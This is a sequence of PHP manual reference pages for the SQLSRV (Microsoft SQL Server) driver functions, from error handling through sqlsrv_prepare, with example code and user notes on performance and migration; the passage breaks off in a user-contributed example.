Examples

Example #1 functionname() example

<?php
$serverName = "serverName/sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

/* Set up a query to select an invalid column name. */
$sql = "SELECT BadColumnName FROM Table_1";

/* Execution of the query will fail because of the bad column name. */
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false ) {
    if( ($errors = sqlsrv_errors() ) != null) {
        foreach( $errors as $error ) {
            echo "SQLSTATE: ".$error[ 'SQLSTATE']."<br />";
            echo "code: ".$error[ 'code']."<br />";
            echo "message: ".$error[ 'message']."<br />";
        }
    }
}
?>

Notes

By default, warnings generated on a call to any SQLSRV function are treated as errors. This means that if a warning occurs on a call to a SQLSRV function, the function returns FALSE. However, warnings that correspond to SQLSTATE values 01000, 01001, 01003, and 01S02 are never treated as errors. For information about changing this behavior, see sqlsrv_configure() and the WarningsReturnAsErrors setting.

See Also

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.


Executes a statement prepared with sqlsrv_prepare

  • « sqlsrv_errors
  • sqlsrv_fetch_array »
  • PHP Manual
  • SQLSRV Functions
  • Executes a statement prepared with sqlsrv_prepare

sqlsrv_execute

(No version information available, might only be in Git)

sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare()

Description

bool sqlsrv_execute ( resource $stmt )

Executes a statement prepared with sqlsrv_prepare(). This function is ideal for executing a prepared statement multiple times with different parameter values.

Parameters

stmt

A statement resource returned by sqlsrv_prepare().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_execute() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
        SET OrderQty = ?
        WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
    die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
    // Because $id and $qty are bound to $stmt1, their updated
    // values are used with each execution of the statement.
    if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
    }
}
?>

Notes

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

See Also

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.


Returns a row as an array

  • « sqlsrv_execute
  • sqlsrv_fetch_object »
  • PHP Manual
  • SQLSRV Functions
  • Returns a row as an array

sqlsrv_fetch_array

(No version information available, might only be in Git)

sqlsrv_fetch_array — Returns a row as an array

Description

array sqlsrv_fetch_array ( resource $stmt [, int $fetchType [, int $row [, int $offset ]]] )

Returns the next available row of data as an associative array, a numeric array, or both (the default).

Parameters

stmt

A statement resource returned by sqlsrv_query or sqlsrv_prepare.

fetchType

A predefined constant specifying the type of array to return. Possible values are SQLSRV_FETCH_ASSOC, SQLSRV_FETCH_NUMERIC, and SQLSRV_FETCH_BOTH (the default).

A fetch type of SQLSRV_FETCH_ASSOC should not be used when consuming a result set with multiple columns of the same name.

row

Specifies the row to access in a result set that uses a scrollable cursor. Possible values are SQLSRV_SCROLL_NEXT, SQLSRV_SCROLL_PRIOR, SQLSRV_SCROLL_FIRST, SQLSRV_SCROLL_LAST, SQLSRV_SCROLL_ABSOLUTE and, SQLSRV_SCROLL_RELATIVE (the default). When this parameter is specified, the fetchType must be explicitly defined.

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

Return Values

Returns an array on success, NULL if there are no more rows to return, and FALSE if an error occurs.

Examples

Example #1 Retrieving an associative array.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
    die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
      echo $row['LastName'].", ".$row['FirstName']."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

Example #2 Retrieving a numeric array.

<?php
$serverName = "serverName\instanceName";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo );
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT FirstName, LastName FROM SomeTable";
$stmt = sqlsrv_query( $conn, $sql );
if( $stmt === false) {
    die( print_r( sqlsrv_errors(), true) );
}

while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_NUMERIC) ) {
      echo $row[0].", ".$row[1]."<br />";
}

sqlsrv_free_stmt( $stmt);
?>

Notes

Not specifying the fetchType or explicity using the SQLSRV_FETCH_TYPE constant in the examples above will return an array that has both associative and numeric keys.

If more than one column is returned with the same name, the last column will take precedence. To avoid field name collisions, use aliases.

If a column with no name is returned, the associative key for the array element will be an empty string ("").

See Also

  • sqlsrv_connect() - Opens a connection to a Microsoft SQL Server database
  • sqlsrv_query() - Prepares and executes a query.
  • sqlsrv_errors() - Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_fetch() - Makes the next row in a result set available for reading

User Contributed Notes

Anonymous 04-Apr-2014 04:15
Note that while the docs say to avoid SQLSRV_FETCH_ASSOC when dealing with result sets where multiple fields have the same name, there are cases when this is perfectly valid to do.

Consider the following query:

SELECT * FROM a INNER JOIN b ON a.id = b.id

For any row, if you fetch NUMERIC you'll get a field for both a.id and b.id, which probably isn't very useful.

If you fetch ASSOC, you'll get one field for "id", and given that it's always the same in both tables (because your query insists it is so), you're not at risk of losing anything.

If you're generating output based on an unknown number of fields, the ASSOC behavior might be preferred.


Retrieves the next row of data in a result set as an object

  • « sqlsrv_fetch_array
  • sqlsrv_fetch »
  • PHP Manual
  • SQLSRV Functions
  • Retrieves the next row of data in a result set as an object

sqlsrv_fetch_object

(No version information available, might only be in Git)

sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object

Description

mixed sqlsrv_fetch_object ( resource $stmt [, string $className [, array $ctorParams [, int $row [, int $offset ]]]] )

Retrieves the next row of data in a result set as an instance of the specified class with properties that match the row field names and values that correspond to the row field values.

Parameters

stmt

A statement resource created by sqlsrv_query() or sqlsrv_execute().

className

The name of the class to instantiate. If no class name is specified, stdClass is instantiated.

ctorParams

Values passed to the constructor of the specified class. If the constructor of the specified class takes parameters, the ctorParams array must be supplied.

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

Return Values

Returns an object on success, NULL if there are no more rows to return, and FALSE if an error occurs or if the specified class does not exist.

Examples

Example #1 sqlsrv_fetch_object() example

The following example demonstrates how to retrieve a row as a stdClass object.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT fName, lName FROM Table_1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Retrieve each row as an object.
// Because no class is specified, each row will be retrieved as a stdClass object.
// Property names correspond to field names.
while( $obj = sqlsrv_fetch_object( $stmt)) {
      echo $obj->fName.", ".$obj->lName."<br />";
}
?>

Notes

If a class name is specified with the optional $className parameter and the class has properties whose names match the result set field names, the corresponding result set values are applied to the properties. If a result set field name does not match a class property, a property with the result set field name is added to the object and the result set value is applied to the property. The following rules apply when using the $className parameter:

  • Field-property name matching is case-sensitive.
  • Field-property matching occurs regardless of access modifiers.
  • Class property data types are ignored when applying a field value to a property.
  • If the class does not exist, the function returns FALSE and adds an error to the error collection.
Regardless of whether the $className parameter is supplied, if a field with no name is returned, the field value will be ignored and a warning will be added to the error collection.

When consuming a result set that has multiple columns with the same name, it may be better to use sqlsrv_fetch_array() or the combination of sqlsrv_fetch() and sqlsrv_get_field().

See Also

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - Returns a row as an array

User Contributed Notes

There are no user contributed notes for this page.


Makes the next row in a result set available for reading

  • « sqlsrv_fetch_object
  • sqlsrv_field_metadata »
  • PHP Manual
  • SQLSRV Functions
  • Makes the next row in a result set available for reading

sqlsrv_fetch

(No version information available, might only be in Git)

sqlsrv_fetch — Makes the next row in a result set available for reading

Description

mixed sqlsrv_fetch ( resource $stmt [, int $row [, int $offset ]] )

Makes the next row in a result set available for reading. Use sqlsrv_get_field() to read the fields of the row.

Parameters

stmt

A statement resource created by executing sqlsrv_query() or sqlsrv_execute().

row

The row to be accessed. This parameter can only be used if the specified statement was prepared with a scrollable cursor. In that case, this parameter can take on one of the following values:

  • SQLSRV_SCROLL_NEXT
  • SQLSRV_SCROLL_PRIOR
  • SQLSRV_SCROLL_FIRST
  • SQLSRV_SCROLL_LAST
  • SQLSRV_SCROLL_ABSOLUTE
  • SQLSRV_SCROLL_RELATIVE

offset

Specifies the row to be accessed if the row parameter is set to SQLSRV_SCROLL_ABSOLUTE or SQLSRV_SCROLL_RELATIVE. Note that the first row in a result set has index 0.

Return Values

Returns TRUE if the next row of a result set was successfully retrieved, FALSE if an error occurs, and NULL if there are no more rows in the result set.

Examples

Example #1 sqlsrv_fetch() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
        FROM Table_1
        WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indeces start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

See Also

  • sqlsrv_get_field() - Gets field data from the currently selected row
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.


Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query

  • « sqlsrv_fetch
  • sqlsrv_free_stmt »
  • PHP Manual
  • SQLSRV Functions
  • Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query

sqlsrv_field_metadata

(No version information available, might only be in Git)

sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query()

Description

mixed sqlsrv_field_metadata ( resource $stmt )

Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare() or sqlsrv_query(). sqlsrv_field_metadata() can be called on a statement before or after statement execution.

Parameters

stmt

The statment resource for which metadata is returned.

Return Values

Returns an array of arrays is returned on success. Otherwise, FALSE is returned. Each returned array is described by the following table:

Array returned by sqlsrv_field_metadata
Key | Description
Name | The name of the field.
Type | The numeric value for the SQL type.
Size | The number of characters for fields of character type, the number of bytes for fields of binary type, or NULL for other types.
Precision | The precision for types of variable precision, NULL for other types.
Scale | The scale for types of variable scale, NULL for other types.
Nullable | An enumeration indicating whether the column is nullable, not nullable, or if it is not known.
For more information, see » sqlsrv_field_metadata in the Microsoft SQLSRV documentation.

Examples

Example #1 sqlsrv_field_metadata() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"AdventureWorks", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
   die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_prepare( $conn, $sql );

foreach( sqlsrv_field_metadata( $stmt ) as $fieldMetadata ) {
    foreach( $fieldMetadata as $name => $value) {
       echo "$name: $value<br />";
    }
      echo "<br />";
}
?>

See Also

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.


Frees all resources for the specified statement

  • « sqlsrv_field_metadata
  • sqlsrv_get_config »
  • PHP Manual
  • SQLSRV Functions
  • Frees all resources for the specified statement

sqlsrv_free_stmt

(No version information available, might only be in Git)

sqlsrv_free_stmt — Frees all resources for the specified statement

Description

bool sqlsrv_free_stmt ( resource $stmt )

Frees all resources for the specified statement. The statement cannot be used after sqlsrv_free_stmt() has been called on it. If sqlsrv_free_stmt() is called on an in-progress statement that alters server state, statement execution is terminated and the statement is rolled back.

Parameters

stmt

The statment for which resources are freed. Note that NULL is a valid parameter value. This allows the function to be called multiple times in a script.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sqlsrv_free_stmt() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

/*-------------------------------
     Process query results here.
-------------------------------*/

/* Free the statement resources. */
sqlsrv_free_stmt( $stmt);

?>

Notes

The main difference between sqlsrv_free_stmt() and sqlsrv_cancel() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

See Also

  • sqlsrv_cancel() - Cancels a statement

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the specified configuration setting

  • « sqlsrv_free_stmt
  • sqlsrv_get_field »
  • PHP Manual
  • SQLSRV Functions
  • Returns the value of the specified configuration setting

sqlsrv_get_config

(No version information available, might only be in Git)

sqlsrv_get_config — Returns the value of the specified configuration setting

Description

mixed sqlsrv_get_config ( string $setting )

Returns the value of the specified configuration setting.

Parameters

setting

The name of the setting for which the value is returned. For a list of configurable settings, see sqlsrv_configure().

Return Values

Returns the value of the specified setting. If an invalid setting is specified, FALSE is returned.

See Also

  • sqlsrv_configure() - Changes the driver error handling and logging configurations

User Contributed Notes

There are no user contributed notes for this page.


Gets field data from the currently selected row

  • « sqlsrv_get_config
  • sqlsrv_has_rows »
  • PHP Manual
  • SQLSRV Functions
  • Gets field data from the currently selected row

sqlsrv_get_field

(No version information available, might only be in Git)

sqlsrv_get_field — Gets field data from the currently selected row

Description

mixed sqlsrv_get_field ( resource $stmt , int $fieldIndex [, int $getAsType ] )

Gets field data from the currently selected row. Fields must be accessed in order. Field indices start at 0.

Parameters

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

fieldIndex

The index of the field to be retrieved. Field indices start at 0. Fields must be accessed in order. i.e. If you access field index 1, then field index 0 will not be available.

getAsType

The PHP data type for the returned field data. If this parameter is not set, the field data will be returned as its default PHP data type. For information about default PHP data types, see » Default PHP Data Types in the Microsoft SQLSRV documentation.

Return Values

Returns data from the specified field on success. Returns FALSE otherwise.

Examples

Example #1 sqlsrv_get_field() example

The following example demonstrates how to retrieve a row with sqlsrv_fetch() and get the row fields with sqlsrv_get_field().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Name, Comment
        FROM Table_1
        WHERE ReviewID=1";
$stmt = sqlsrv_query( $conn, $sql);
if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

// Make the first (and in this case, only) row of the result set available for reading.
if( sqlsrv_fetch( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

// Get the row fields. Field indeces start at 0 and must be retrieved in order.
// Retrieving row fields by name is not supported by sqlsrv_get_field.
$name = sqlsrv_get_field( $stmt, 0);
echo "$name: ";

$comment = sqlsrv_get_field( $stmt, 1);
echo $comment;
?>

See Also

  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_fetch_object() - Retrieves the next row of data in a result set as an object

User Contributed Notes

There are no user contributed notes for this page.


Indicates whether the specified statement has rows

  • « sqlsrv_get_field
  • sqlsrv_next_result »
  • PHP Manual
  • SQLSRV Functions
  • Indicates whether the specified statement has rows

sqlsrv_has_rows

(No version information available, might only be in Git)

sqlsrv_has_rows — Indicates whether the specified statement has rows

Description

bool sqlsrv_has_rows ( resource $stmt )

Indicates whether the specified statement has rows.

Parameters

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

Return Values

Returns TRUE if the specified statement has rows and FALSE if the statement does not have rows or if an error occurred.

Examples

Example #1 sqlsrv_has_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" )
$conn = sqlsrv_connect( $server, $connectionInfo );

$stmt = sqlsrv_query( $conn, "SELECT * FROM Table_1");

if ($stmt) {
   $rows = sqlsrv_has_rows( $stmt );
   if ($rows === true)
      echo "There are rows. <br />";
   else
      echo "There are no rows. <br />";
}
?>

See Also

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

There are no user contributed notes for this page.


Makes the next result of the specified statement active

  • « sqlsrv_has_rows
  • sqlsrv_num_fields »
  • PHP Manual
  • SQLSRV Functions
  • Makes the next result of the specified statement active

sqlsrv_next_result

(No version information available, might only be in Git)

sqlsrv_next_result — Makes the next result of the specified statement active

Description

mixed sqlsrv_next_result ( resource $stmt )

Makes the next result of the specified statement active. Results include result sets, row counts, and output parameters.

Parameters

stmt

The statment on which the next result is being called.

Return Values

Returns TRUE if the next result was successfully retrieved, FALSE if an error occurred, and NULL if there are no more results to retrieve.

Examples

Example #1 sqlsrv_next_result() example

The following example executes a batch query that inserts into a table and then selects from the table. This produces two results on the statement: one for the rows affected by the INSERT and one for the rows returned by the SELECT. To get to the rows returned by the SELECT, sqlsrv_next_result() must be called to move past the first result.

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array("Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);

$query = "INSERT INTO Table_1 (id, data) VALUES (?,?); SELECT * FROM TABLE_1;";
$params = array(1, "some data");
$stmt = sqlsrv_query($conn, $query, $params);

// Consume the first result (rows affected by INSERT) without calling sqlsrv_next_result.
echo "Rows affected: ".sqlsrv_rows_affected($stmt)."<br />";

// Move to the next result and display results.
$next_result = sqlsrv_next_result($stmt);
if( $next_result ) {
   while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC)){
      echo $row['id'].": ".$row['data']."<br />";
   }
} elseif( is_null($next_result)) {
     echo "No more results.<br />";
} else {
     die(print_r(sqlsrv_errors(), true));
}
?>

See Also

  • sqlsrv_query() - Prepares and executes a query.
  • sqlsrv_fetch_array() - Returns a row as an array
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

chakin 24-Mar-2014 10:09
You can use a for loop to iterate through the results:

If you know how many results there should be it's easier, otherwise you can put a large number in the loop constructor and break when done:

<?
for ($i=0; $i< (Large # or Exact #); $i++)
{
  $rows_affected = sqlsrv_rows_affected($q2);
   if ($rows_affected === false)
    {
       echo 'Inserts Failed<br />\n';
    } else if ( $rows_affected == -1) {
       echo "No information available.<br />\n";
    }  else  {
       echo $rows_affected." rows were added.<br />\n";
    }

   $next_result = sqlsrv_next_result($q2);

    if (!$next_result)
    {
     break;
    }
}
?>


Retrieves the number of fields (columns) on a statement

  • « sqlsrv_next_result
  • sqlsrv_num_rows »
  • PHP Manual
  • SQLSRV Functions
  • Retrieves the number of fields (columns) on a statement

sqlsrv_num_fields

(No version information available, might only be in Git)

sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement

Description

mixed sqlsrv_num_fields ( resource $stmt )

Retrieves the number of fields (columns) on a statement.

Parameters

stmt

The statment for which the number of fields is returned. sqlsrv_num_fields() can be called on a statement before or after statement execution.

Return Values

Returns the number of fields on success. Returns FALSE otherwise.

Examples

Example #1 sqlsrv_num_fields() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
   die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT * FROM Table_1";
$stmt = sqlsrv_query($conn, $sql);
if( $stmt === false) {
   die( print_r( sqlsrv_errors(), true));
}

$numFields = sqlsrv_num_fields( $stmt );

while( sqlsrv_fetch( $stmt )) {
   // Iterate through the fields of each row.
   for($i = 0; $i < $numFields; $i++) {
   {
      echo sqlsrv_get_field($stmt, $i)." ";
     }
     echo "<br />";
}
?>

See Also

  • sqlsrv_field_metadata() - Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_fetch() - Makes the next row in a result set available for reading
  • sqlsrv_get_field() - Gets field data from the currently selected row

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the number of rows in a result set

  • « sqlsrv_num_fields
  • sqlsrv_prepare »
  • PHP Manual
  • SQLSRV Functions
  • Retrieves the number of rows in a result set

sqlsrv_num_rows

(No version information available, might only be in Git)

sqlsrv_num_rows — Retrieves the number of rows in a result set

Description

mixed sqlsrv_num_rows ( resource $stmt )

Retrieves the number of rows in a result set. This function requires that the statment resource be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Parameters

stmt

The statement for which the row count is returned. The statment resource must be created with a static or keyset cursor. For more information, see sqlsrv_query(), sqlsrv_prepare(), or » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Return Values

Returns the number of rows retrieved on success and FALSE if an error occurred. If a forward cursor (the default) or dynamic cursor is used, FALSE is returned.

Examples

Example #1 sqlsrv_num_rows() example

<?php
$server = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $server, $connectionInfo );

$sql = "SELECT * FROM Table_1";
$params = array();
$options =  array( "Scrollable" => SQLSRV_CURSOR_KEYSET );
$stmt = sqlsrv_query( $conn, $sql , $params, $options );

$row_count = sqlsrv_num_rows( $stmt );

if ($row_count === false)
   echo "Error in retrieveing row count.";
else
   echo $row_count;
?>

See Also

  • sqlsrv_has_rows() - Indicates whether the specified statement has rows
  • sqlsrv_rows_affected() - Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

User Contributed Notes

wazz3r at gmail dot com 21-Jan-2013 11:04
Try to avoid using this function if you need good performance. Specifying "Scrollable" in the options will make you queries take ages to run. If your result contains less than 5000 rows (might vary on different hardware) its faster to not use "Scrollable" and loop over them in php instead.

If you need to check if a result contains rows use "sqlsrv_has_rows()", this function works without "Scrollable". After removing all my "Scrollable" queries, my page loadtime went from 900ms to 60ms.

To demonstrate, here is a query that returns 100 rows:
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q,array(), array( "Scrollable" => SQLSRV_CURSOR_KEYSET ));

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This takes about 10s! Thats 10 qps..

Now if we remove "Scrollable":
<?php
for($i = 0; $i < 100; $i++) {
    $q = "SELECT sku,name FROM product WHERE visible = 1";
    $result = sqlsrv_query($db,$q);

    while($row = sqlsrv_fetch_array($result)) {}
}
?>
This will run in 300ms, about 334 qps!
smhahmadi 30-Dec-2012 06:50
Note that when migrating your MS SQL Server PHP Driver from MSSQL to SQLSRV, if you have used mssql_num_rows, replacing them with sqlsrv_num_rows and replacing mssql_query($query, $mssql_link) with sqlsrv_query($sqlsrv_link, $query) calls will make your sqlsrv_num_rows calls fail. In order to avoid that, you should specify either static, keyset or buffered cursors (buffered cursor has been available since SQLSRV 3.0) when calling sqlsrv_query. For example,
<?php
mssql_query($query, $mssql_link);
// is equivalent to
sqlsrv_query($sqlsrv_link, $query, array(), array('Scrollable' => 'buffered'));
?>
Using the buffered cursor is "more equivalent" than using the static or keyset cursors to simple mssql_query calls, since it caches the entire result set in client memory.


Prepares a query for execution

  • « sqlsrv_num_rows
  • sqlsrv_query »
  • PHP Manual
  • SQLSRV Functions
  • Prepares a query for execution

sqlsrv_prepare

(No version information available, might only be in Git)

sqlsrv_prepare — Prepares a query for execution

Description

mixed sqlsrv_prepare ( resource $conn , string $sql [, array $params [, array $options ]] )

Prepares a query for execution. This function is ideal for preparing a query that will be executed multiple times with different parameter values.

Parameters

conn

A connection resource returned by sqlsrv_connect().

sql

The string that defines the query to be prepared and executed.

params

An array specifying parameter information when executing a parameterized query. Array elements can be any of the following:

  • A literal value
  • A PHP variable
  • An array with this structure: array($value [, $direction [, $phpType [, $sqlType]]])
The following table describes the elements in the array structure above:

Array structure
Element | Description
$value | A literal value, a PHP variable, or a PHP by-reference variable.
$direction (optional) | One of the following SQLSRV constants used to indicate the parameter direction: SQLSRV_PARAM_IN, SQLSRV_PARAM_OUT, SQLSRV_PARAM_INOUT. The default value is SQLSRV_PARAM_IN.
$phpType (optional) | A SQLSRV_PHPTYPE_* constant that specifies PHP data type of the returned value.
$sqlType (optional) | A SQLSRV_SQLTYPE_* constant that specifies the SQL Server data type of the input value.
options

An array specifing query property options. The supported keys are described in the following table:

Query Options
Key | Values | Description
QueryTimeout | A positive integer value. | Sets the query timeout in seconds. By default, the driver will wait indefinitely for results.
SendStreamParamsAtExec | TRUE or FALSE (the default is TRUE) | Configures the driver to send all stream data at execution (TRUE), or to send stream data in chunks (FALSE). By default, the value is set to TRUE. For more information, see sqlsrv_send_stream_data().
Scrollable | SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_STATIC, SQLSRV_CURSOR_DYNAMIC, or SQLSRV_CURSOR_KEYSET | See » Specifying a Cursor Type and Selecting Rows in the Microsoft SQLSRV documentation.

Return Values

Returns a statement resource on success and FALSE if an error occurred.

Examples

Example #1 sqlsrv_prepare() example

This example demonstrates how to prepare a statement with sqlsrv_prepare() and re-execute it multiple times (with different parameter values) using sqlsrv_execute().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
    die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1
        SET OrderQty = ?
        WHERE SalesOrderID = ?";

// Initialize parameters and prepare the statement.
// Variables $qty and $id are bound to the statement, $stmt.
$qty = 0; $id = 0;
$stmt = sqlsrv_prepare( $conn, $sql, array( &$qty, &$id));
if( !$stmt ) {
    die( print_r( sqlsrv_errors(), true));
}

// Set up the SalesOrderDetailID and OrderQty information.
// This array maps the order ID to order quantity in key=>value pairs.
$orders = array( 1=>10, 2=>20, 3=>30);

// Execute the statement for each order.
foreach( $orders as $id => $qty) {
    // Because $id and $qty are bound to $stmt1, their updated
    // values are used with each execution of the statement.
    if( sqlsrv_execute( $stmt ) === false ) {
          die( print_r( sqlsrv_errors(), true));
    }
}
?>

Notes

When you prepare a statement that uses variables as parameters, the variables are bound to the statement. This means that if you update the values of the variables, the next time you execute the statement it will run with updated parameter values. For statements that you plan to execute only once, use sqlsrv_query().

See Also

  • sqlsrv_execute() - Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_query() - Prepares and executes a query.

User Contributed Notes

matt at bigbadweb dot co dot uk 10-Jul-2014 07:07
Example of how to formally specify the params, AND get output.
<?php

// Setup connection
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false) {
  die( print_r( sqlsrv_errors(), true));
}

// specify params - MUST be a variable that can be passed by reference!
$myparams['Item_ID'] = intval(-2);
